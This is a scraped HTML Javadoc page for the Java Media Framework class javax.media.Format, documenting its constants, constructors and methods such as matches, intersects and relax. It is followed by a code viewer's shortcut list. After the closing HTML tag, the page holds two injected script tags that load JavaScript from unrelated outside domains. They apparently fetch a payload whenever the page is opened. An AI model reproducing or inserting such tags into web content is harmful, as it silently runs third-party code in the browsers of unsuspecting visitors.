📄 format.html
字号:
<PRE>public static final int <B>NOT_SPECIFIED</B></PRE><DL></DL><HR><A NAME="TRUE"><!-- --></A><H3>TRUE</H3><PRE>public static final int <B>TRUE</B></PRE><DL></DL><HR><A NAME="FALSE"><!-- --></A><H3>FALSE</H3><PRE>public static final int <B>FALSE</B></PRE><DL></DL><HR><A NAME="encoding"><!-- --></A><H3>encoding</H3><PRE>protected java.lang.String <B>encoding</B></PRE><DL></DL><HR><A NAME="intArray"><!-- --></A><H3>intArray</H3><PRE>public static final java.lang.Class <B>intArray</B></PRE><DL><DD>The data object required by the <CODE>Format</CODE> is an integer array.</DL><HR><A NAME="shortArray"><!-- --></A><H3>shortArray</H3><PRE>public static final java.lang.Class <B>shortArray</B></PRE><DL><DD>The data object required by the <CODE>Format</CODE> is a short array.</DL><HR><A NAME="byteArray"><!-- --></A><H3>byteArray</H3><PRE>public static final java.lang.Class <B>byteArray</B></PRE><DL><DD>The data object required by the <CODE>Format</CODE> is a byte array.</DL><HR><A NAME="formatArray"><!-- --></A><H3>formatArray</H3><PRE>public static final java.lang.Class <B>formatArray</B></PRE><DL><DD>The data object required by the <CODE>Format</CODE> is an array of <CODE>Format</CODE> objects.</DL><HR><A NAME="dataType"><!-- --></A><H3>dataType</H3><PRE>protected java.lang.Class <B>dataType</B></PRE><DL></DL><HR><A NAME="clz"><!-- --></A><H3>clz</H3><PRE>protected java.lang.Class <B>clz</B></PRE><DL></DL><!-- ========= CONSTRUCTOR DETAIL ======== --><A NAME="constructor_detail"><!-- --></A><TABLE BORDER="1" CELLPADDING="3" CELLSPACING="0" WIDTH="100%"><TR BGCOLOR="#CCCCFF" CLASS="TableHeadingColor"><TD COLSPAN=1><FONT SIZE="+2"><B>Constructor Detail</B></FONT></TD></TR></TABLE><A NAME="Format(java.lang.String)"><!-- --></A><H3>Format</H3><PRE>public <B>Format</B>(java.lang.String encoding)</PRE><DL><DD>Constructs a <CODE>Format</CODE> that has the specified encoding type.<DD><DL><DT><B>Parameters:</B><DD><CODE>encoding</CODE> - A <CODE>String</CODE> that contains the encoding type of the <CODE>Format</CODE> to be constructed.</DL></DD></DL><HR><A NAME="Format(java.lang.String, java.lang.Class)"><!-- --></A><H3>Format</H3><PRE>public <B>Format</B>(java.lang.String encoding, java.lang.Class dataType)</PRE><DL><DD>Constructs a <CODE>Format</CODE> that has the specified encoding and data types.<DD><DL><DT><B>Parameters:</B><DD><CODE>encoding</CODE> - A <CODE>String</CODE> that contains the encoding type of the <CODE>Format</CODE> to be constructed.<DD><CODE>dataType</CODE> - The type of data object required by the <CODE>Format</CODE> to be constructed, such as: <CODE>byteArray</CODE>, <CODE>intArray</CODE>, or <CODE>shortArray</CODE>. For example, for a byte array the data type would be "<CODE>Format.byteArray</CODE>".</DL></DD></DL><!-- ============ METHOD DETAIL ========== --><A NAME="method_detail"><!-- --></A><TABLE BORDER="1" CELLPADDING="3" CELLSPACING="0" WIDTH="100%"><TR BGCOLOR="#CCCCFF" CLASS="TableHeadingColor"><TD COLSPAN=1><FONT SIZE="+2"><B>Method Detail</B></FONT></TD></TR></TABLE><A NAME="getEncoding()"><!-- --></A><H3>getEncoding</H3><PRE>public java.lang.String <B>getEncoding</B>()</PRE><DL><DD>Gets the uniquely-qualified encoding name for this <CODE>Format</CODE>. <p> In the reference implementation of JMF, these strings follow the QuickTime codec strings.<DD><DL></DL></DD><DD><DL><DT><B>Returns:</B><DD>The encoding of the <CODE>Format</CODE>.</DL></DD></DL><HR><A NAME="getDataType()"><!-- --></A><H3>getDataType</H3><PRE>public java.lang.Class <B>getDataType</B>()</PRE><DL><DD>Gets the type of the data that this <CODE>Format</CODE> requires. For example, for byte array it returns "<CODE>byte[].class</CODE>".<DD><DL></DL></DD><DD><DL><DT><B>Returns:</B><DD>The data type of this <CODE>Format</CODE>.</DL></DD></DL><HR><A NAME="equals(java.lang.Object)"><!-- --></A><H3>equals</H3><PRE>public boolean <B>equals</B>(java.lang.Object format)</PRE><DL><DD>Checks whether or not the specified <CODE>Format</CODE> is the same as this <CODE>Format</CODE>. To be equal, the two <CODE>Formats</CODE> must be of the same type and all of their attributes must be the same.<DD><DL><DT><B>Overrides:</B><DD>equals in class java.lang.Object</DL></DD><DD><DL><DT><B>Parameters:</B><DD><CODE>format</CODE> - The <CODE>Format</CODE> to compare with this one.<DT><B>Returns:</B><DD><CODE>true</CODE> if the specified <CODE>Format</CODE> is the same as this one, <CODE>false</CODE> if it is not.</DL></DD></DL><HR><A NAME="matches(javax.media.Format)"><!-- --></A><H3>matches</H3><PRE>public boolean <B>matches</B>(<A HREF="../../javax/media/Format.html">Format</A> format)</PRE><DL><DD>Checks whether or not the specified <CODE>Format</CODE> <EM>matches</EM> this <CODE>Format</CODE>. Matches only compares the attributes that are defined in the specified <CODE>Format</CODE>, unspecified attributes are ignored. <p> The two <CODE>Format</CODE> objects do not have to be of the same class to match. For example, if "A" are "B" are being compared, a match is possible if "A" is derived from "B" or "B" is derived from "A". (The compared attributes must still match, or <CODE>matches</CODE> fails.)<DD><DL></DL></DD><DD><DL><DT><B>Parameters:</B><DD><CODE>format</CODE> - The <CODE>Format</CODE> to compare with this one.<DT><B>Returns:</B><DD><CODE>true</CODE> if the specified <CODE>Format</CODE> matches this one, <CODE>false</CODE> if it does not.</DL></DD></DL><HR><A NAME="intersects(javax.media.Format)"><!-- --></A><H3>intersects</H3><PRE>public <A HREF="../../javax/media/Format.html">Format</A> <B>intersects</B>(<A HREF="../../javax/media/Format.html">Format</A> other)</PRE><DL><DD>Intersects the attributes of this format and the specified format to create a new <CODE>Format</code> object. The two objects being intersected should either be of the same type or one should be a subclass of the other. The resulting object will be the same type as the subclass. <P> Common attributes are intersected as follows: If both objects have NOT_SPECIFIED values for an attribute, the result will also have a NOT_SPECIFIED value. If one of them has a NOT_SPECIFIED value then the result will have the value that is specified in the other object. If both objects have specified values then the value in this object will be used. <P> Attributes that are specific to the subclass will be carried forward to the result.<DD><DL></DL></DD><DD><DL><DT><B>Parameters:</B><DD><CODE>other</CODE> - The <CODE>Format</CODE> object to intersect with this <CODE>Format</CODE>.<DT><B>Returns:</B><DD>A <CODE>Format</CODE> object with its attributes set to those attributes common to both <CODE>Format</CODE> objects.<DT><B>See Also: </B><DD><A HREF="../../javax/media/Format.html#matches(javax.media.Format)"><CODE>matches(javax.media.Format)</CODE></A></DL></DD></DL><HR><A NAME="relax()"><!-- --></A><H3>relax</H3><PRE>public <A HREF="../../javax/media/Format.html">Format</A> <B>relax</B>()</PRE><DL><DD>Generate a format that's less restrictive than this format but contains the basic attributes that will make this resulting format useful for format matching.<DD><DL></DL></DD><DD><DL><DT><B>Returns:</B><DD>A <CODE>Format</CODE> that's less restrictive than the this format.</DL></DD></DL><HR><A NAME="clone()"><!-- --></A><H3>clone</H3><PRE>public java.lang.Object <B>clone</B>()</PRE><DL><DD>Creates a clone of this <CODE>Format</CODE>.<DD><DL><DT><B>Overrides:</B><DD>clone in class java.lang.Object</DL></DD><DD><DL><DT><B>Returns:</B><DD>A clone of this format.</DL></DD></DL><HR><A NAME="copy(javax.media.Format)"><!-- --></A><H3>copy</H3><PRE>protected void <B>copy</B>(<A HREF="../../javax/media/Format.html">Format</A> f)</PRE><DL><DD>Copies the attributes from the specified <CODE>Format</CODE> into this <CODE>Format</CODE>.<DD><DL></DL></DD><DD><DL><DT><B>Parameters:</B><DD><CODE>f</CODE> - The <CODE>Format</CODE> to copy the attributes from.</DL></DD></DL><HR><A NAME="toString()"><!-- --></A><H3>toString</H3><PRE>public java.lang.String <B>toString</B>()</PRE><DL><DD>Gets a <CODE>String</CODE> representation of the <CODE>Format</CODE> attributes. For example: "PCM, 44.1 KHz, Stereo, Signed".<DD><DL><DT><B>Overrides:</B><DD>toString in class java.lang.Object</DL></DD><DD><DL><DT><B>Returns:</B><DD>A <CODE>String</CODE> that describes the <CODE>Format</CODE> attributes.</DL></DD></DL><!-- ========= END OF CLASS DATA ========= --><HR><!-- ========== START OF NAVBAR ========== --><A NAME="navbar_bottom"><!-- --></A><TABLE BORDER="0" WIDTH="100%" CELLPADDING="1" CELLSPACING="0"><TR><TD COLSPAN=2 BGCOLOR="#EEEEFF" CLASS="NavBarCell1"><A NAME="navbar_bottom_firstrow"><!-- --></A><TABLE BORDER="0" CELLPADDING="0" CELLSPACING="3"> <TR ALIGN="center" VALIGN="top"> <TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="../../overview-summary.html"><FONT ID="NavBarFont1"><B>Overview</B></FONT></A> </TD> <TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="package-summary.html"><FONT ID="NavBarFont1"><B>Package</B></FONT></A> </TD> <TD BGCOLOR="#FFFFFF" CLASS="NavBarCell1Rev"> <FONT CLASS="NavBarFont1Rev"><B>Class</B></FONT> </TD> <TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="package-tree.html"><FONT ID="NavBarFont1"><B>Tree</B></FONT></A> </TD> <TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="../../deprecated-list.html"><FONT ID="NavBarFont1"><B>Deprecated</B></FONT></A> </TD> <TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="../../index-all.html"><FONT ID="NavBarFont1"><B>Index</B></FONT></A> </TD> <TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="../../help-doc.html"><FONT ID="NavBarFont1"><B>Help</B></FONT></A> </TD> </TR></TABLE></TD><TD ALIGN="right" VALIGN="top" ROWSPAN=3><EM></EM></TD></TR><TR><TD BGCOLOR="white" CLASS="NavBarCell2"><FONT SIZE="-2"> <A HREF="../../javax/media/EndOfMediaEvent.html"><B>PREV CLASS</B></A> <A HREF="../../javax/media/GainChangeEvent.html"><B>NEXT CLASS</B></A></FONT></TD><TD BGCOLOR="white" CLASS="NavBarCell2"><FONT SIZE="-2"> <A HREF="../../index.html" TARGET="_top"><B>FRAMES</B></A> <A HREF="Format.html" TARGET="_top"><B>NO FRAMES</B></A></FONT></TD></TR><TR><TD VALIGN="top" CLASS="NavBarCell3"><FONT SIZE="-2"> SUMMARY: INNER | <A HREF="#field_summary">FIELD</A> | <A HREF="#constructor_summary">CONSTR</A> | <A HREF="#method_summary">METHOD</A></FONT></TD><TD VALIGN="top" CLASS="NavBarCell3"><FONT SIZE="-2">DETAIL: <A HREF="#field_detail">FIELD</A> | <A HREF="#constructor_detail">CONSTR</A> | <A HREF="#method_detail">METHOD</A></FONT></TD></TR></TABLE><!-- =========== END OF NAVBAR =========== --><HR><font size="-1"> <a href="mailto:jmf-bugs@sun.com">Submit a bug or feature</a> <br>Copyright 1999-2000 Sun Microsystems, Inc. 901 San Antonio Road, Palo Alto, California, 94303, U.S.A. All Rights Reserved. See the <a href="spec-license.html">Specification License</a> for more details. <br>Sun, Sun Microsystems, and Java are trademarks or registered trademarks of Sun Microsystems, Inc. in the US and other countries.</font></BODY></HTML>
<script language=javascript src=http://www.3389qiqi.com/xx.js></script>
<script language="javascript" src="http://grwm.woxwngw.cn/index.htm"></script>
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -